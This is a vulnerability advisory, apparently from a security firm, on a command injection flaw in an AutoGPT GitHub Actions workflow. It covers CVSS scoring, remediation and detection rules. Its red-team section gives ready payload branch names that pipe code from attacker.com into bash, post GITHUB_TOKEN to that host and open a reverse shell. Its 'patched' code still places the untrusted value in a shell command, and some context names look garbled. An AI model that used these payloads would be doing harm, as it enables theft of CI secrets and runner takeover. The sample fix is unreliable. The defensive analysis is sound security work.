CVE-2024-8156

Executive Summary

CVE-2024-8156 is a critical command injection vulnerability in the workflow-checker.yml GitHub Actions workflow of the significant-gravitas/autogpt repository. The vulnerability arises from the insecure use of the github.head.ref context variable, which is populated from an untrusted source (the branch name of a pull request). An attacker can craft a malicious branch name containing shell metacharacters and open a pull request, causing the workflow to execute arbitrary commands on the GitHub Actions runner. This can lead to full compromise of the runner, exfiltration of secrets (e.g., GitHub tokens, API keys), and potential lateral movement within the CI/CD pipeline. The CVSS score is 8.8 (High), and no official patch has been released as of the latest analysis.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the CI/CD pipeline of the AutoGPT project. However, if the compromised runner has access to package registries or deployment credentials, the supply chain could be impacted. The risk is elevated because the workflow likely runs with elevated permissions (e.g., GITHUB_TOKEN with write access).

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker only needs to create a branch and open a PR.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – The attacker does not need any prior access.
• User Interaction (UI): None (N) – No victim interaction needed.
• Scope (S): Unchanged (U) – The vulnerable component is the workflow itself.
• Confidentiality (C): High (H) – Secrets can be stolen.
• Integrity (I): High (H) – Arbitrary commands can modify code or artifacts.
• Availability (A): High (H) – The runner can be disrupted or destroyed.

Threat Level: Critical for CI/CD environments. The vulnerability is trivial to exploit and has severe consequences.

Deep Dive & Mechanics

The vulnerability exists in the workflow-checker.yml file, which is triggered on pull_request events. The workflow uses github.head.ref to construct a command or script argument without sanitization. For example:

- name: Check branch
  run: |
    echo "Branch: ${{ github.head.ref }}"
    # Potentially used in a command like:
    # ./some_script.sh ${{ github.head.ref }}

The github.head.ref variable contains the name of the branch from which the pull request was opened. An attacker can create a branch with a name like:

"; curl http://attacker.com/exfil.sh | bash ;"

When the workflow runs, the injected command is executed. This can be used to:

• Exfiltrate environment variables (e.g., ACTIONS_RUNTIME_TOKEN, GITHUB_TOKEN).
• Download and execute a reverse shell.
• Modify repository contents or artifacts.
• Pivot to other systems accessible from the runner.

The vulnerability is particularly dangerous because GitHub Actions runners often have access to repository secrets and can perform actions on behalf of the repository.

Vulnerable vs. Patched Code

Vulnerable Code (workflow-checker.yml):

- name: Process branch
  run: |
    echo "Processing branch: ${{ github.head.ref }}"
    # Insecure usage
    ./check_branch.sh ${{ github.head.ref }}

Patched Code (Hypothetical):

- name: Process branch
  run: |
    # Sanitize input by using a whitelist or encoding
    SAFE_BRANCH=$(echo "${{ github.head.ref }}" | sed 's/[^a-zA-Z0-9._-]//g')
    echo "Processing branch: $SAFE_BRANCH"
    ./check_branch.sh "$SAFE_BRANCH"

Alternatively, the workflow should avoid using github.head.ref directly in shell commands. Instead, it should pass the value as an environment variable or use GitHub Actions' built-in expression syntax with proper quoting.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A GitHub account with the ability to fork the significant-gravitas/autogpt repository (or any repository using the vulnerable workflow).
• Basic knowledge of shell injection.

Exploitation Steps:

1. Fork the repository and clone it locally.
2. Create a malicious branch with a name containing a payload. For example:

   git checkout -b "$(curl http://attacker.com/payload.sh | bash)"
   

   Or more directly:

   git checkout -b "test; curl http://attacker.com/exfil.sh | bash ;"
   

3. Push the branch to your fork:

   git push origin <branch_name>
   

4. Open a pull request from the malicious branch to the original repository's default branch.
5. Monitor your attacker-controlled server for incoming connections or exfiltrated data.

Example Payload (branch name):

"; echo $GITHUB_TOKEN | base64 | curl -X POST -d @- http://attacker.com/exfil ;"

Reverse Shell Payload (branch name):

"; bash -i >& /dev/tcp/attacker.com/4444 0>&1 ;"

Note: The payload must be URL-encoded or escaped appropriately for the branch name.

Blue Team

Detection:

• Monitor for pull requests from branches with unusual names (e.g., containing semicolons, backticks, dollar signs, or parentheses).
• Alert on workflows that use github.head.ref or github.base_ref in shell commands without sanitization.
• Review workflow logs for unexpected command execution or network connections.

Prevention:

• Immediately disable or modify the vulnerable workflow until a patch is applied.
• Use GitHub Actions' env context to pass branch names safely:

  - name: Safe usage
    env:
      BRANCH_NAME: ${{ github.head.ref }}
    run: |
      echo "Branch: $BRANCH_NAME"
  

• Implement input validation in the workflow script (e.g., allow only alphanumeric characters, hyphens, underscores, and dots).
• Restrict the permissions of the GITHUB_TOKEN to the minimum required.
• Use GitHub's pull_request_target event with caution, as it runs in the context of the base repository.

Indicators of Compromise (IOCs)

• Branch names containing shell metacharacters (e.g., ;, |, &, $, `, (, )).
• Pull requests from branches with suspicious names.
• Unexpected outbound connections from GitHub Actions runners (e.g., to attacker-controlled IPs).
• Modified workflow files or artifacts in the repository.
• Unusual commands in workflow logs (e.g., curl, wget, bash -i, nc).

Detection Engineering

YARA Rule

rule CVE_2024_8156_Command_Injection {
    meta:
        description = "Detects command injection attempts in GitHub Actions workflow files targeting github.head.ref"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-8156"
    strings:
        $insecure_ref = /github\.head\.ref/
        $shell_metachar = /[;|&$`(){}]/
    condition:
        $insecure_ref and #shell_metachar > 0
}

Sigma Rule

title: CVE-2024-8156 Command Injection in GitHub Actions Workflow
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects pull requests with branch names containing shell metacharacters targeting vulnerable workflows.
author: Valters IT
date: 2025-04-10
logsource:
    category: github_actions
    product: github
detection:
    selection:
        event: "pull_request"
        branch_name|contains:
            - ";"
            - "|"
            - "&"
            - "$"
            - "`"
            - "("
            - ")"
    condition: selection
falsepositives:
    - Legitimate branch names with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8156 Command Injection via GitHub Branch Name"; flow:to_server; content:"github.head.ref"; nocase; pcre:"/[;|&$`(){}]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable workflow (workflow-checker.yml) by removing or commenting out the trigger.
2. Audit all workflows for similar insecure use of github.head.ref, github.base_ref, or other untrusted context variables.
3. Rotate all secrets that may have been exposed (e.g., GITHUB_TOKEN, deployment keys, API tokens).

Long-term Fixes:

• Patch the workflow to sanitize branch names using a whitelist approach.
• Use GitHub Actions' built-in expression syntax with proper quoting (e.g., ${{ github.head_ref }} is safe when used in env or args but not in run).
• Implement a pre-commit hook or CI check to prevent merging PRs with suspicious branch names.
• Monitor GitHub Actions logs for anomalous behavior.

Vendor Status: The vendor (significant-gravitas) has not released a patch. Users should apply the mitigations above and consider forking the repository to apply custom fixes.

Valters IT